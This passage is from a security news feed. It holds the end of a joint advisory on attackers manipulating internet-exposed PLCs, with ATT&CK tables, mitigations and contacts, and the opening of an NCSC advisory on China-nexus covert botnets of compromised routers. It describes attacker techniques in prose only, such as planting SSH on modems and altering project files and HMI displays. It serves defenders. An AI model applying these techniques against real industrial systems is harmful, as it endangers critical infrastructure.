<td><a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0833">T0883</a></td>
<td>The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.</td>
</tr>
</tbody>
</table>
<p> </p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4. Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Commonly Used Port</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a></td>
<td>The actors leveraged commonly used OT ports to communicate with PLCs.</td>
</tr>
<tr>
<td>Remote Access Tools </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a></td>
<td>The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port <code>22</code>.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5. Exfiltration <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over C2 Channel</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a></td>
<td>The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 6. Impact</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data Manipulation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a></td>
<td>The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<p>The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the <a href="https://www.cisa.gov/cpg" title="Cross-Sector Cybersecurity Performance Goals (CPGs)">Cross-Sector Cybersecurity Performance Goals (CPGs)</a> developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s <a href="https://www.cisa.gov/cpg" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<h3><strong>Network Defenders</strong></h3>
<p>The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.</p>
<p><em><strong>(Updated, July 22, 2026)</strong></em> In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at <a href="mailto:PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a> for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.<br>
<ul type="circle">
<li>Refer to Rockwell Automation Security Advisory <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="SD1771">SD1771</a> for recommended PLC hardening measures and configuration guidance.</li>
</ul>
</li>
<li><strong>Schneider Electric:</strong> Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.<br>
<ul type="circle">
<li>Refer to Schneider Electric’s <a href="https://download.se.com/files?p_File_Name=Cybersecurity_Best+Practices_EN.pdf&amp;p_Doc_Ref=7EN52-0390&amp;p_enDocType=White+Paper" target="_blank" title="Recommended Cybersecurity Best Practices">Recommended Cybersecurity Best Practices</a> and <a href="https://download.se.com/files?p_Doc_Ref=EIO0000001999&amp;p_enDocType=User+guide&amp;p_File_Name=EIO0000001999-13_Modicon_Controller_Platform_Cybersecurity_Guide_EN.pdf" target="_blank" title="Cybersecurity User Guide for Modicon Controller Platform">Cybersecurity User Guide for Modicon Controller Platform</a> for guidance on securing and configuring PLCs.</li>
</ul>
</li>
<li><strong>Siemens:</strong> Contact Siemens ProductCERT at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a> for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.<br>
<ul type="circle">
<li>Refer to <a href="https://cert-portal.siemens.com/productcert/html/ssb-104599.html" target="_blank" title="Siemens Security Bulletin 104599">Siemens Security Bulletin 104599</a> for a list of security measures to harden PLCs and in-depth configuration guides.</li>
<li>Siemens users should review the <a href="https://cert-portal.siemens.com/operational-guidelines-industrial-security.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> and implement defense-in-depth controls within their automation systems.</li>
</ul>
</li>
</ul>
<p><strong>Immediate steps to prevent the attack:</strong></p>
<ul type="square">
<li><strong>Disconnect the PLC from the public-facing internet</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>]. Follow the joint guidance <a href="https://www.ncsc.gov.uk/collection/operational-technology/secure-connectivity" target="_blank" title="Secure Connectivity Principles for OT">Secure connectivity principles for OT</a> to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.<br>
<ul type="circle">
<li>Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.</li>
<li>Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.</li>
<li><em><strong>(New, July 22, 2026) </strong></em>To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026) </strong></em><strong>Strictly control network access to PLC devices.</strong><br>
<ul type="circle">
<li>Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.</li>
</ul>
</li>
<li><strong>For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. </strong>Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s<a href="https://www.cisa.gov/#Note2"><sup>2</sup></a><sup> </sup><a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/rm/secure-rm001_-en-p.pdf" target="_blank" title="System Security Design Guidelines">System Security Design Guidelines</a> for manufacturer’s instructions.)<br>
<ul type="circle">
<li><em><strong>(New, July 22, 2026)</strong> </em>Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.</li>
</ul>
</li>
<li><strong>For devices that allow software key switching, </strong>enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ <a href="https://assets.new.siemens.com/siemens/assets/api/uuid:c9a2de6e-6bd0-4c32-bba0-f64cac44fcc9/industrial-security-operational-guidelines-en.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> for the manufacturer’s instructions.)</li>
</ul>
<p><strong>Follow-up steps to strengthen security posture:</strong></p>
<ul type="square">
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Review project files running on PLCs for unauthorized changes.</strong> Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="Customer Guidance to Disconnect Devices from the Internet">Customer Guidance to Disconnect Devices from the Internet</a>, check the AOIs for any anomalous modifications.<br>
<ul type="circle">
<li>If restoring from backups, verify the backup does not contain malicious logic before deployment.</li>
<li>Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure device passwords are changed from their default </strong>and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Take defensive measures to minimize the risk of exploitation. </strong>Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.</li>
<li><strong>Create and test strong backups of the logic and configurations of PLCs</strong>. Store backup files offline and secure the physical removal media to enable fast recovery.</li>
<li><strong>Implement multifactor authentication</strong> <strong>(MFA)</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>] for access to the OT network from an external network.</li>
<li>If remote access is required, <strong>implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access</strong>.<br>
<ul type="circle">
<li>A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.</li>
<li>Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.</li>
</ul>
</li>
<li><strong>Keep PLC devices updated with the latest software patches issued by the manufacturer.</strong> Use established downtime windows to install patches. <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities">Known Exploited Vulnerabilities</a> may need to be prioritized outside a downtime window.</li>
<li><strong>Configure external and internal firewalls to block traffic using common ports </strong>associated with network protocols that are unnecessary for the particular network segment.</li>
<li><strong>Disable any unused authentication methods, logic, or features, </strong>such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.</li>
<li><strong>Monitor asset management systems for device configuration changes</strong>, which can be used to understand expected parameter settings.</li>
<li><strong>Monitor the content of network traffic</strong> for the following:<br>
<ul type="circle">
<li>Unusual logins to internet-connected devices or unexpected protocols to/from the internet. </li>
<li>Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure service providers are informed of active threats targeting internet-connected PLC devices. </strong>Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.</li>
</ul>
<p>In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:</p>
<ul type="square">
<li><strong>Reduce risk exposure</strong>. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> can help provide additional review of organizations’ internet-accessible assets. </li>
</ul>
<h3><strong>Device Manufacturers</strong></h3>
<p><strong>Note:</strong> The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. </p>
<p>Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a>, primarily:</p>
<ul>
<li>Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.</li>
<li>Do not charge additional fees for basic security features needed to operate the product securely.</li>
<li>Support MFA, including via phishing-resistant methods.</li>
</ul>
<p>By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a>. For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage and joint guide.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&amp;CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&amp;CK techniques described in this advisory.</p>
<p>To get started:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see<strong> </strong><a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<ul type="square">
<li>Authoring Agencies: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/bulletproof-defense-mitigating-risks-bulletproof-hosting-providers" title="Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers">Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers</a></li>
<li>EPA: <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector">Cybersecurity for the Water Sector</a></li>
<li>CISA: <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a></li>
<li>CISA: <a href="https://www.cisa.gov/news-events/alerts/2023/11/28/exploitation-unitronics-plcs-used-water-and-wastewater-systems" title="Exploitation of Unitronics PLCs used in Water and Wastewater Systems">Exploitation of Unitronics PLCs used in Water and Wastewater Systems</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a></li>
<li>FBI: <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="The Iran Threat">The Iran Threat</a> and <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Cyber Threat Overview: Iran">Cyber Threat Overview: Iran</a></li>
<li>CISA, MITRE: <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a></li>
<li>CISA: <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a></li>
<li>CISA: <a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0" title="Cross-Sector Cybersecurity Performance Goals 2.0">Cross-Sector Cybersecurity Performance Goals 2.0</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/cyber-hygiene-services" title="No-Cost Cybersecurity Services and Tools">No-Cost Cybersecurity Services and Tools</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a></li>
<li>NSA, CISA: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a></li>
<li>CISA: <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a></li>
<li>FBI, CISA: <a href="https://www.ic3.gov/CSA/2025/250506.pdf" target="_blank" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a></li>
<li>United Kingdom National Cyber Security Centre: <a href="https://www.ic3.gov/CSA/2026/260114.pdf" target="_blank" title="Secure Connectivity Principles for Operational Technology (OT)">Secure connectivity principles for operational technology</a></li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p>U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:</p>
<ul type="square">
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s <a href="https://ic3.gov/" target="_blank" title="Internet Crime Complaint Center (IC3)">Internet Crime Complaint Center (IC3)</a> or contact your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office">FBI field office</a>. When available, please include the following information regarding the incident: 
<ul>
<li>Date, time, and location of the incident;</li>
<li>Type of activity;</li>
<li>Number of people affected;</li>
<li>Type of equipment used for the activity; and</li>
<li>Name of the submitting company or organization, and a designated point of contact.</li>
</ul>
</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
<li>Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact <a href="mailto:EnergySRMA@hq.doe.gov" title="EnergySRMA@hq.doe.gov">EnergySRMA@hq.doe.gov</a>.</li>
<li>Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at <a href="mailto:PSIRT@rockwellautomation.com" title="PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a>.</li>
<li>Contact the Schneider Electric CPCERT at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.</li>
<li>Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a>. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at <a href="mailto:services.automation@siemens.com">services.automation@siemens.com</a>. See <a href="https://www.siemens.com/en-us/content/cert-services/" target="_blank" title="Siemens ProductCERT and Siemens CERT">Siemens ProductCERT and Siemens CERT</a> for more information.</li>
</ul>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.</p>
<h2><strong>Version History</strong></h2>
<p><strong>April 7, 2026</strong>: Initial version.</p>
<p><strong>July 22, 2026</strong>: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"></a><sup>1</sup>Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.</p>
<p><a class="ck-anchor"></a><sup>2 </sup>See <a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/um/1769-um021_-en-p.pdf" target="_blank" title="CompactLogix 5370 Controllers">CompactLogix 5370 Controllers</a> (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]></title>
<description><![CDATA[Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defe...]]></description>
<link>https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</guid>
<pubDate>Sat, 25 Jul 2026 09:10:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="SCXW131754345 BCX8">
<div class="OutlineElement Ltr SCXW131754345 BCX8">
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlY-jTD7G0%24">Defending against china-nexus covert networks of compromised devices</a></h2>
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/executive-summary-defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlYzP90Ign%24">executive summary</a></h2>
<h2><strong>Defending against China-nexus covert networks of compromised devices </strong></h2>
<p>Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it </p>
<h3><strong>Summary</strong></h3>
<p>With support from the UK <a href="https://www.ncsc.gov.uk/information/cyber-league" target="_blank"><u>Cyber League</u></a>, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: </p>
<ul>
<li>Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)</li>
<li>Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)</li>
<li>Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)</li>
<li>Japan National Cybersecurity Office (NCO) - 国家サイバー統括室</li>
<li>Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)</li>
<li>Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)</li>
<li>Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States National Security Agency (NSA) </li>
</ul>
<p>Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. </p>
<h3><strong>Introduction  </strong></h3>
<p>Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. </p>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-warning-about-state-sponsored-cyber-attackers-hiding-on-critical-infrastructure-networks" target="_blank"><u>used by Chinese state-sponsored actors Volt Typhoon</u></a> to pre-position offensive cyber capabilities on critical national infrastructure. The group <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-advice-to-counter-china-linked-campaign-targeting-thousands-of-devices" target="_blank"><u>Flax Typhoon used a different covert network</u></a> of compromised infrastructure to conduct cyber espionage. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.</p>
<h3><strong>Covert Networks </strong></h3>
<p>Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. </p>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also <a href="https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state" target="_blank"><u>assessed by the FBI</u></a> to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<blockquote>
<p><strong>Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester </strong></p>
</blockquote>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon <a href="https://www.justice.gov/archives/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" target="_blank"><u>was mainly made up of vulnerable Cisco and NetGear routers</u></a>. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" target="_blank"><u>public blog in May 2024</u></a> talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. </p>
<h3><strong>Typical Network Topology</strong></h3>
<p>The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. </p>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. </p>
</div>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. </p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-04/A%20diagram%20illustrating%20the%20basic%20setup%20of%20a%20covert%20network..png?itok=3Bfm4nKj" width="1024" height="877" alt="A diagram illustrating the basic setup of a covert network.">



</div>
